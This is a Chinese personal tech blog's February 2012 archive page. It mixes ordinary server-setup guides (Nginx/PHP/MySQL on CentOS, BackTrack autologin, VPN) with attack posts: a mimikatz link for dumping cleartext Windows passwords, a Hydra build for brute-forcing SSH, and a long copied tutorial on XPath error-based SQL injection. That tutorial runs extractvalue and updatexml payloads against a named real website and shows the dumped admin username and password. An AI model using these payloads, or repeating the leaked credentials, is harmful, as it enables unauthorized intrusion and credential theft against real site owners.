存档

2012年2月 的存档

神器 - mimikatz

2012年2月24日 1 条评论 0 views

神器下载地址:

http://blog.gentilkiwi.com/mimikatz

还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章

http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass

自己尝试了下用 win2008 r2 x64 来测试

阅读全文...

分类: 资源共享 标签:

CentOS 6 编译安装Nginx+PHP+Mysql

2012年2月17日 没有评论 67 views

[1].安装 Nginx

1,添加一个不能登录且没有主目录的用户：

1
# useradd www -M -s /sbin/nologin

2,必要的组件

1
2
3
4
5
# unzip pcre-8.13.zip
# cd pcre-8.13
# ./configure
# make && make install

3,编译nginx并安装

1
2
3
4
# tar -zxvf nginx-1.1.2.tar.gz
# cd nginx-1.1.2
# ./configure --prefix=/usr/local/nginx --user=www --group=www --with-http_stub_status_module --with-http_ssl_module
# make && make install

[2].安装 PHP

1,安装必要的组件

1
2
3
4
5
6
# yum -y install libjpeg-devel libpng-devel
# tar -zxvf libmcrypt-2.5.7.tar.gz
# cd libmcrypt-2.5.7
# ./configure
# make && make install

==64位系统==

1
# ln -s /usr/lib64/mysql/ /usr/lib/mysql

==64位系统==

2,编译php并安装

1
2
3
# cd php-5.3.8
# ./configure --prefix=/usr/local/php --with-iconv --with-zlib --enable-xml --disable-rpath --enable-safe-mode --enable-bcmath --enable-shmop --enable-sysvsem --enable-inline-optimization --with-curl --with-curlwrappers --enable-mbregex --enable-mbstring --with-mcrypt --with-gd --enable-gd-native-ttf --with-openssl --with-mhash --enable-pcntl --enable-sockets  --with-xmlrpc --enable-zip --enable-soap --without-pear --with-mysql --with-mysqli --enable-sqlite-utf8 --with-pdo-mysql --enable-ftp --with-jpeg-dir --with-freetype-dir --with-png-dir --enable-fpm --with-fpm-user=www --with-fpm-group=www
# make && make install

3,拷贝和修改php配置文件

1
2
3
# cp php.ini-production /usr/local/php/lib/php.ini 或是 /usr/local/lib/php.ini
# cp /usr/local/php/etc/php-fpm.conf.default /usr/local/php/etc/php-fpm.conf
# /usr/local/php/bin/php --ini   //测试ini文件是否加载

修改php.ini

1
2
3
4
5
6
7
8
9
10
[PHP]
safe_mode = On
register_globals = Off
magic_quotes_gpc = Off
allow_url_fopen = Off
allow_url_include = Off
expose_php=Off
disable_functions = shell_exec,system,exec,passthru,show_source,curl_exec,curl_multi_exec,get_cfg_var
[Date]
date.timezone = “Asia/Shanghai”

修改php-fpm.conf

1
2
3
4
5
6
7
8
9
10
11
[global]
pid = run/php-fpm.pid
error_log = log/php-fpm.log
log_level = notice
emergency_restart_threshold = 0
emergency_restart_interval = 0
[www]
pm.start_servers = 20
pm.min_spare_servers = 5
pm.max_spare_servers = 35
pm.max_requests = 500

4,添加服务启动脚本

1
2
3
4
5
6
7
8
# cp nginx /etc/init.d/nginx
# cp php-fpm /etc/init.d/php-fpm
# chmod 755 /etc/init.d/nginx
# chmod 755 /etc/init.d/php-fpm
# chkconfig --add nginx
# chkconfig --add php-fpm
# chkconfig nginx on
# chkconfig php-fpm on

[3].安装 Mysql

3.1, 创建mysql安装目录

1
# mkdir -p /usr/local/mysql/

3.2, 创建数据存放目录

1
# mkdir -p /data/mysql/

3.3, 创建用户和用户组与赋予数据存放目录权限

1
2
# useradd mysql -M -s /sbin/nologin
# chown mysql.mysql -R /data/mysql/

3.4, 安装必要的组件

1
2
# yum -y install cmake
# yum -y install ncurses-devel

3.5, 编译安装Mysql

1
2
# cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DMYSQL_UNIX_ADDR=/data/mysql/mysql.sock -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_EXTRA_CHARSETS:STRING=utf8,gbk -DWITH_MYISAM_STORAGE_ENGINE=1 -DWITH_INNOBASE_STORAGE_ENGINE=1 -DWITH_MEMORY_STORAGE_ENGINE=1 -DWITH_READLINE=1 -DENABLED_LOCAL_INFILE=1 -DMYSQL_DATADIR=/data/mysql -DMYSQL_USER=mysql -DMYSQL_TCP_PORT=3306
# make && make install

3.6, 初始化数据库

1
2
# cd /usr/local/mysql
# scripts/mysql_install_db --user=mysql --basedir=/usr/local/mysql --datadir=/data/mysql/

3.7, 配置环境

1
2
3
4
5
# cp support-files/my-medium.cnf /etc/my.cnf
# cp support-files/mysql.server /etc/init.d/mysql
# chmod 755 /etc/init.d/mysql
# chkconfig mysql on
# export PATH=/usr/local/mysql/bin:$PATH

3.8, 启动并设置初始密码

1
2
# /etc/init.d/mysql start
# mysqladmin -uroot password '123123'

进行再修改密码的语句
1: UPDATE mysql.user SET Password = PASSWORD(‘newpwd’) WHERE User = ‘root’;(生新设置密码)
2: flush privileges;（刷新权限）

分类: 技术文章 标签: , , ,

BT5 R1 启动自动进入图形界面

2012年2月17日 没有评论 51 views

第一种，直接登录root用户的图形界面，不用输入密码

1,安装rungetty

1
# apt-get install rungetty

2,编辑 /etc/init/tty1.conf

1
# gedit  /etc/init/tty1.conf

将exec这一段注释掉并加一句

1
2
#exec /sbin/getty 38400 tty1
exec /sbin/rungetty tty1 --autologin root

3,编辑.bash_profile文件，如果没有则建立它

1
# gedit /root/.bash_profile
1
startx

第二种：直接启动到图形界面，提示输入用户密码

1,安装gdm

1
# sudo apt-get install gdm

2,设置默认为gdm

1
# sudo update-rc.d gdm defaults

3.编辑grub

1
# vim /etc/default/grub

GRUB_CMDLINE_LINUX_DEFAULT=”text splash vga=791″
修改成quiet
GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash vga=791″

4.更新grub

1
# sudo update-grub

5.重启

1
# inti 6
分类: 技术文章 标签: ,

BT5 R1 下VPN拨号 安装networkmanager

2012年2月17日 没有评论 36 views

1,VPN拔号:

1
2
3
4
5
6
7
# apt-get install network-manager-gnome
# apt-get install network-manager-pptp
# apt-get install network-manager-vpnc
# cp /etc/network/interfaces /etc/network/interfaces.backup
# echo "auto lo" > /etc/network/interfaces
# echo "iface lo inet loopback" >> /etc/network/interfaces
# service network-manager restart

安装并重启network-manager后，Gnone菜单右上角出现网络的图标，点击添加VPN即可

2, Wicd Network Manager 无线连接界面出错:
Could not connect to wicd’s D-Bus interface.Check the wicd log for error messages.
解决办法：

1
2
# dpkg-reconfigure wicd
# update-rc.d wicd defaults
分类: 技术文章 标签: ,

Hydra 爆破ssh

2012年2月15日 没有评论 70 views

apt-get purge hydra
apt-get install cmake libssl-dev

cd /usr/local/src
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install

cd /usr/local/src
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
tar zxf hydra-6.3-src.tar.gz
cd hydra-6.3-src
./configure
make
make install

 

最后来张效果图

虽然没成功爆出密码，但是能看出爆破速度效率还是不错的

分类: 技术文章 标签: ,

Xpath SQL Injection

2012年2月10日 没有评论 115 views

So a few XPath Injection tutorials have been getting posted, and since I haven't seen much info on the updatexml method, I'd thought I'd make a quick tutorial for it.Now I'll be going over both methods just for the sake of adding it to my mega-thread.

Extract Value

I'll be using this site as an example.

Code:
http://leadacidbatteryinfo.org/newsdetail.php?id=51

Version (ExtractValue)

Code:
+and+extractvalue(rand(),concat(0x7e,version()))--

This will return our XPATH Syntax error, and give us our version.
This is what my link looks like.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--

Code:XPATH syntax error: '~5.1.52-log'

 

You should get your version.

Getting The Tables (Extract Value)

 

Code:+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema. ​tables+where+table_schema=database()+limit+0,1)))--
My link looks like this.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from ​+information_schema.tables+where+table_schema=database()+limit+0,1)))--

So lets load it up and see if we get our first table name!

Code:

XPATH syntax error: '~pdigclicks'
Woot it worked! Now we just increment in our limit statement until we find our table we want columns from.

Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from ​ +information_schema.tables+where+table_schema=database()+limit+[b]1[/b],1)))--

Code:

XPATH syntax error: '~pdigengine'

(#‵′)凸
We want users or admin..
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from ​ +information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--

Code:

XPATH syntax error: '~pdigexcludes'

 

Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from ​ +information_schema.tables+where+table_schema=database()+limit+[b]10[/b],1)))--
Code:
XPATH syntax error: '~tbladmin'

Woot, now let's get the columns.

 

Getting The Columns (ExtractValue)
First off, we want to convert our table name to hex.
My table name was tbladmin.
Whenever you convert something to hex, you add 0x in front of it.
It tells the site to read the hex value.
The hex of tbladmin is 74626c61646d696e
So it should look like this.
Code:0x74626c61646d696e
Now to get our columns, we change our syntax a bit, but it's still generally the same idea.
Code:+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema ​.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]
Of course, replace TABLE_HEX with the hex value of your table name.
My link looks like this.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+fro ​ m+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--

Code:
XPATH syntax error: '~adminid'

Now use increment in your limit statement until you find the columns you want.

 

Getting Data Out of Columns (ExtractValue)

Now that you've got your column names, you're going to want to put them in a concat statement.

Code:+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+T​ABLENAME+limit+0,1)))--
My columns I wanted were username and password, the 0x7e is the hex value of "~" which I'll use as a seperator.
My link looks like this.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+concat(username ​,0x7e,password)+from+tbladmin+limit+0,1)))--
And as you can see, we get our XPath error with the admin login.

Code:XPATH syntax error: '~ishir~ishir123'

UpdateXML

 

Getting The Version (UpdateXML)

Code:+and+updatexml(0x7e,concat(0x7e,(version())),0)--

My link looks like this..

Code:leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,(version())),0)--

We get our XPATH Error that returns the version.
Code:

XPATH syntax error: '~5.1.52-log'

Getting The Tables (UpdateXML)

Code:+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_sch ​ema.tables+where+table_schema=database()+limit+0,1))),0)--

My link looks like this..

Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+ ​ from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--


Code:

XPATH syntax error: '~pdigclicks'

Now we know our first table is called pdigclicks. Let's see what else is in here....
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+ ​ from+information_schema.tables+where+table_schema=database()+limit+1,1))),0)--

Code:
XPATH syntax error: '~pdigengine'

For the sake of time, I know the table name I want is tbladmin.
Code:leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+ ​ from+information_schema.tables+where+table_schema=database()+limit+10,1))),0)--
And there's our table.
Code:

XPATH syntax error: '~tbladmin'

Now let's get the columns from the table.

Getting Columns (UpdateXML)

Now it's the same idea, we just change the tables to columns, from the table name.

Code:+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_sc ​hema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--

Now my table name was tbladmin, so I convert that to hex and get 74626c61646d696e

My link looks like this.

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name) ​ +from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)) ​),0)--

 

Code:
XPATH syntax error: '~adminid'


Getting Data (UpdateXML)

Now once you've got your columns, concatenate them and get the from the table you want.
Code:

leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column1,0x7e ​,column2)+from+TABLENAME+limit+0,1))),0)--

My link looks like this..
Code:

http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7 ​e,password)+from+tbladmin+limit+0,1))),0)--
Code:
XPATH syntax error: '~ishir~ishir123'

分类: 技术文章 标签: ,